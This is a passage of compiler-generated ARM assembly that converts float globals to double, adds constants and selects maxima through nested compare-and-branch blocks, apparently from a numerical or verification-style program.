bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L196
.L1411:
ldr r3, .L1685
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L196:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1412
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1413
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L202
.L1413:
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L202
.L1412:
ldr r3, .L1685+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1414
ldr r3, .L1685+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L202
.L1414:
ldr r3, .L1685
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L202:
ldr r3, .L1685+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1415
ldr r3, .L1685+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L208
.L1415:
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L208:
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1416
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L211
.L1416:
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L211:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1417
ldr r3, .L1685+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1418
ldr r3, .L1685+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L217
.L1418:
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L217
.L1417:
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1419
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L217
.L1419:
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L217:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1420
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1421
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L225
.L1421:
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L225:
ldr r3, .L1685+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1422
ldr r3, .L1685+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L228
.L1422:
ldr r3, .L1685
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L228:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1423
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1424
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L238
.L1424:
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L238
.L1423:
ldr r3, .L1685+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1425
ldr r3, .L1685+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L238
.L1425:
ldr r3, .L1685
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L238
.L1420:
ldr r3, .L1685+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1426
ldr r3, .L1685+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L241
.L1426:
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L241:
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1427
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L244
.L1686:
.align 2
.L1685:
.word x_6
.word 1076953088
.word 1075314688
.word x_7
.word x_14
.word 1076363264
.word 1076625408
.word x_8
.word 1072693248
.word 1074266112
.word 1075052544
.word x_5
.word 1077149696
.word x_9
.word 1076101120
.word x_10
.word x_11
.word 1076887552
.word x_12
.word 1075970048
.word x_13
.word 1077084160
.word x_2
.word 1075576832
.word x_4
.word 1077018624
.word x_0
.word 1076232192
.word x_1
.word 1076756480
.L1427:
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L244:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1428
ldr r3, .L1685+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1429
ldr r3, .L1685+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L238
.L1429:
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L238
.L1428:
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1430
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L238
.L1430:
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L238:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-80] @ float
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1431
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L256
.L1431:
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L256:
ldr r3, .L1685+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1432
ldr r3, .L1685+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L259
.L1432:
ldr r3, .L1685+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L259:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1433
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1434
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L265
.L1434:
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L265
.L1433:
ldr r3, .L1685+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1435
ldr r3, .L1685+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L265
.L1435:
ldr r3, .L1685+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L265:
ldr r3, .L1685+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1436
ldr r3, .L1685+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L271
.L1436:
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L271:
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1437
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L274
.L1437:
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L274:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1438
ldr r3, .L1685+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1439
ldr r3, .L1685+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L280
.L1439:
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L280
.L1438:
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1440
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L280
.L1440:
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L280:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1441
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1442
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L288
.L1442:
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L288:
ldr r3, .L1685+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1443
ldr r3, .L1685+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L291
.L1443:
ldr r3, .L1685+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L291:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1444
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1445
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L301
.L1445:
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L301
.L1444:
ldr r3, .L1685+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1446
ldr r3, .L1685+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L301
.L1446:
ldr r3, .L1685+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L301
.L1441:
ldr r3, .L1685+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1447
ldr r3, .L1685+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L304
.L1447:
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L304:
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1448
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L307
.L1448:
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L307:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1449
ldr r3, .L1685+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1450
ldr r3, .L1685+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L301
.L1450:
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+68
